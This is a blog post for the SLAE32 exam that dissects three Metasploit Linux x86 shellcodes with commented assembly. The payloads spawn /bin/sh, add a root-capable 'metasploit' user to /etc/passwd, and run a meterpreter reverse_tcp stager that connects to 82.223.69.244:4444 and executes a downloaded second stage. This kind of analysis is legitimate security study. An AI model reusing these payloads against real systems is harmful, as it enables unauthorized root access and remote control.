SLAE32 Assignment 5 – Metasploit shellcode analysis

Nota: el contenido de esta entrada estará escrito en inglés con el objetivo de cumplir los requerimientos del examen para la obtención del certificado SLAE32 de Pentester Academy.

Note: content of this post will be written in English in order to be compliant and pass the SLAE32 certification exam brought by Pentester Academy.

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online.courses/securitytube-linux-assembly-expert/.

Student ID: PA-26078

GitHub repository: https://github.com/tdkmp4n4/SLAE32_Exam/tree/main/Assignment5

Assignment tasks

The following tasks were given to the student:

  • Take up at least 3 shellcode samples created using Msfpayload for linux/x86
  • Use GDB/Ndisasm/Libemu to dissect the functionality of the shellcode
  • Present your analysis

Libemu installation

The student has developed a simple bash script that will automate all the tasks needed to install Libemu on an Ubuntu 12.04 fresh installation.

# Filename: install_libemu.sh
# Author: David Alvarez Robles (km0xu95)
# Website: https://blog.asturhackers.es

# Purpose: This script was developed in order to install libemu on a fresh
# Ubuntu operating system installation

apt-get install git autoconf libtool
git clone https://github.com/buffer/libemu
cd libemu
autoreconf -v -i
./configure --prefix=/opt/libemu; make install
cd tools/sctest
make

Metasploit payload selection and binary file creation

The student must analyze three payloads created with Metasploit. The following payloads were chosen to be analyzed:

  • linux/x86/exec
  • linux/x86/adduser
  • linux/x86/meterpreter/reverse_tcp

Moreover, as Metasploit installation on Ubuntu 12.04 can be a little bit difficult because it is outdated, a fresh Kali Linux installation is used in order to generate those payloads. Screenshots below show how can binaries be created using “msfvenom” utility.

linux/x86/exec analysis

First of all, libemu and sctest tool can be used in order to obtain a graphical representation of the shellcode.

cat exec | sudo ./libemu/tools/sctest/sctest -vvv -Ss 100000 -G exec.dot
dot exec.dot -T png > exec.png

The graph shows that the payload is so simple. It only prepares all the registers with appropriate strings and values and calls execve. Now using ndisasm, assembly code can be obtained.

ndisasm -u exec
ndisasm -u exec > exec.nasm

In the next section, assembly code has been thoroughly commented in order to be compliant with the task.

; Filename: exec.nasm
; Author:  David Alvarez Robles (km0xu95)
; Website:  https://blog.asturhackers.es
;
; Purpose: This assembly file has been created for completing the requirements of the SecurityTube Linux Assembly Expert (SLAE) certification

xor ecx,ecx 		; Clear ECX register
mul ecx			; Clear EDX register, as well as EAX register
mov al,0xb		; Move 0xb value to AL register (execve call number 11 (first argument))
push dword 0x68732f	; Push "hs/" to the stack
push dword 0x6e69622f	; Push "nib/" to the stack
mov ebx,esp		; Move stack pointer to EBX register (second argument)
int 0x80		; Perform system call to execute /bin/sh

Finally, pseudocode in C which can be extracted from sctest tool is presented. Note that both the pseudocode and the assembly code concur.

linux/x86/adduser analysis

First of all, shellcode can be extracted from the binary file using objdump.

objdump -D -b binary -mi386 -M intel -d ./adduser|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/\"/'|sed 's/$/\"/g'

Then, a customized C proof-of-concept can be written and compiled in order to test the shellcode with GBD later.

GDB is going to be used to analyze the shellcode. Moreover, as “code” variable is holding the shellcode that is being analyzed, a breakpoint is set in “0x0804a040” memory address, as it will always hold “code” variable. From there, code is slowly disassembled and studied. Firstly, the following 5 instructions are executed (note that they are well commented in order to be compliant with the task):

xor ecx, ecx    ; Clear ECX register
mov ebx, ecx    ; Clear EBX register
push 0x46       ; Push decimal value 70 to the stack
pop eax         ; Place decimal value 70 in EAX register
int 0x80        ; Perform setreuid (70) system call

This snippet of code is calling syscall number 70, which corresponds to setreuid() function. According to setreuid() manual page, this function only expects two parameters: real and effective UID to be set. In this case, code is calling setreuid(0,0), which corresponds to root user ID (i.e. making an escalation to perform further tasks which are privileged). As a next step, 11 more instructions are executed until next syscall.

push 0x5          ; Push decimal value 5 to the stack
pop eax           ; Place decimal value 5 in EAX register
xor ecx, ecx      ; Clear ECX register
push ecx          ; Push 0 to the stack (null byte termination)
push 0x64777373   ; Push "dwss" to the stack
push 0x61702f2f   ; Push "ap//" to the stack
push 0x6374652f   ; Push "cte/" to the stack
mov ebx, esp      ; Save stack pointer address in EBX register
inc ecx           ; Increment EDX register by 1 (place 0x00000001)
mov ch, 0x4       ; Place 0x401 in ECX register (02001 which is O_WRONLY write-only and append flags)
int 0x80          ; Perform open (5) system call

This snippet of code is calling syscall number 5, which corresponds to open() function. According to open() manual page, this function expects two parameters: a pathname and flags. In this case, pathname is set to “/etc/passwd”, which corresponds to the file that is going to be modified and flags are set to 0x401 in hexadecimal, corresponding with write-only and append access. As a next step, 2 more instructions must be analyzed.

xchg ebx, eax   ; Saving file descriptor from open() call into EBX register
call 0x804a093  ; Call <code+83> instructions

This snippet of code only saves the file descriptor returned by open() syscall into EBX and jumps into a procedure located in code+83 offset to use JMP-CALL-POP method. As a next step, 5 more instructions must be analyzed.

pop ecx                       ; Save string "metasploit:Az..." into ECX register
mov edx, DWORD PTR [ecx-0x4]  ; Get string length and saving it into EDX register
push 0x4                      ; Push decimal value 4 to the stack
pop eax                       ; Place decimal value 4 in EAX register
int 0x80                      ; Perform write (4) system call

This snippet of code appends to “/etc/passwd” file a new line corresponding to the user that must be created (metasploit with password metasploit). According to write() system call manual page, the function expects three parameters: a file descriptor (which is stored in EBX), a string (stored in ECX as a pointer) and the string length (stored in EDX). The result is that a new user metasploit:metasploit is added to the system. Finally, 3 more instructions must be analyzed.

push 0x1  ; Push decimal value 1 to the stack
pop eax   ; Place decimal value 1 in EAX register
int 0x80  ; Perform exit (1) system call

This snippet of code is responsible of exiting gracefully. It only performs system call number 1 (exit()). In conclusion, “adduser” payload makes the following operations: set real and effective UID to root user, open “/etc/passwd” file and append a new line including the new user on it before exiting. The final result is that user “metasploit” with password “metasploit” is created on the operating system.

linux/x86/meterpreter/reverse_tcp analysis

First of all, shellcode can be extracted from the binary file using objdump.

objdump -D -b binary -mi386 -M intel -d ./meterpreter_reverse_tcp|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/\"/'|sed 's/$/\"/g'

Then, a customized C proof-of-concept can be written and compiled in order to test the shellcode with GBD later.

GDB is going to be used to analyze the shellcode. Moreover, as “code” variable is holding the shellcode that is being analyzed, a breakpoint is set in “0x0804a040” memory address, as it will always hold “code” variable. From there, code is slowly disassembled and studied. Firstly, the following 11 instructions are executed (note that they are well commented in order to be compliant with the task):

push 0xa       ; Push decimal value 10 to the stack
pop esi        ; Place decimal value 10 in ESI register
xor ebx, ebx   ; Clear EBX register
mul ebx        ; Clear EAX register as well
push ebx       ; Push 0 to the stack (protocol=0)
inc ebx        ; Increment EBX register by 1 (socket() is socketcall number 1)
push ebx       ; Push 1 to the stack (type=1=SOCK_STREAM)
push 0x2       ; Push 2 to the stack (domain=2=AF_INET)
mov al, 0x66   ; Push decimal value 102 to the stack
mov ecx, esp   ; Save ESP address pointer in ECX register
int 0x80       ; Perform socket (102-1) system call

This snippet of code is calling syscall number 102, which corresponds to socketcall() function with value “1” placed in EBX, which corresponds with socket() call. According to socket() manual page, this function expects three parameters: domain, type and protocol. In this case, code is calling socket(2,1,0) which corresponds to a default socket to be created. As a next step, 13 more instructions are executed until next syscall.

xchg edi, eax     ; Save socket file descriptor in EDI register
pop ebx           ; Place decimal value 2 in EBX register
push 0xf445df52   ; Push "244.69.223.82" to the stack (IPv4 82.223.69.244)
push 0x5c110002   ; Push "115c" and "0002" to the stack (Port 4444 and proto family 2 (AF_INET))
mov ecx, esp      ; Save ESP address pointer in ECX register
push 0x66         ; Push decimal value 102 to the stack
pop eax           ; Place decimal value 102 in EAX register
push eax          ; Push decimal value 102 to the stack
push ecx          ; Push arguments for connect() call
push edi          ; Push socket file descriptor
mov ecx, esp      ; Save ESP address pointer in ECX register
inc ebx           ; Increment EBX register by 1 (place 3)
int 0x80          ; Perform connect (102-3) system call

This snippet of code connects to the IPv4 address 82.223.69.244 and port 4444 which should ideally host a meterpreter listener. According to connect() system call manual page, the function expects three parameters: a socket file descriptor (which is stored in EDI), a sockaddr struct (stored in ECX as a pointer) and the sockaddr struct length (stored in EAX). All the parameters will be passed as a structure. The result is that a connection to the Metasploit listener is done. Finally, 14 more instructions must be analyzed.

test eax, eax    ; Test if connection is successful
jns 0x804a088    ; If connection was successful, jump to 0x804a088 (code+72)
dec esi          ; If connection was not successful, decrement attempt counter
je 0x804a0af     ; If attempt counter is 0, exit
push 0xa2        ; Else push 0xa2 to the stack
pop eax          ; Place decimal value 162 in EAX register
push 0x0         ; Push decimal value 0 to the stack
push 0x5         ; Push decimal value 5 to the stack
mov ebx, esp     ; Save ESP address pointer in EBX register
xor ecx, ecx     ; Clear ECX register
int 0x80         ; Perform nanosleep(162) system call
test eax, eax    ; Test if connection is successful
jns 0x804a043    ; If sleeping was successful, jump to connect again
jmp 0x804a0af    ; If sleeping was not successful, exit

This snippet of code checks if the connection was successful If something fails (attempts is 0 or sleeping time is wrong), exit routine will be called. Moreover, there are 10 attempts to establish the connection and the program will sleep for 5 seconds between them. Finally, 7 more instructions must be analyzed.

mov dl, 0x7      ; Place decimal value 7 in EDX register (for read, write and execute memory)
mov ecx, 0x1000  ; Place decimal value 4096 in ECX register (memory page length)
mov ebx, esp     ; Move ESP stack pointer to EBX register
shr ebx, 0xc     ; Shift right 12 bytes of EBX register
shl ebx, 0xc     ; Shift left 12 bytes of EBX register (make 12 lower bytes of EBX null)
mov al, 0x7d     ; Place decimal value 125 in EAX register
int 0x80         ; Perform mprotect(125) system call

This snippet of code performs a mprotect() system call in order to make the memory page readable, writable and executable. According to mprotect() manual page, function expects three parameters: an address pointer, length in bytes to change protection and the new protection to set. Finally, 8 more instructions must be analyzed.

test eax, eax  ; Test if mprotect() call was successful
js 0x804a0af   ; If no success, exit
pop ebx        ; If success, pop socket file descriptor into EBX register
mov ecx, esp   ; Move ESP address pointer to ECX register
cdq            ; Clear EDX register (convert double word to quadword)
mov dl, 0x6a   ; Move decimal value 106 to EDX register
mov al, 0x3    ; Move decimal value 3 to EAX register
int 0x80       ; Perform read (3) system call

This snippet of code reads data from the socket connection. Read system call (number 3) expects 3 arguments: a file descriptor (socket descriptor in this case), a buffer to store the information (stack pointer in this case) and data length (106 bytes). Finally, 3 more instructions must be analyzed.

test eax, eax  ; Test if read system call was successful
js 0x804a0af   ; If not successful, exit
jmp ecx        ; If it was successful, jump to second stage

This snippet of code only checks if read operation was successful. If not, program will exit gracefully. If it was successful, it will jump to execute the second stage (received from the socket). Finally, 3 more instructions must be analyzed.

mov eax, 0x1   ; Move decimal value 1 to EAX register
mov ebx, 0x1   ; Move decimal value 1 to EBX register
int 0x80       ; Perform exit (1) system call

This snippet of code exits gracefully. In conclusion, the shellcode will create a socket, connect to the target (with 10 attempts and 5 seconds of sleeping time) and receive the second stage. If everything goes well, it will execute it. Otherwise, it will exit gracefully.

~km0xu95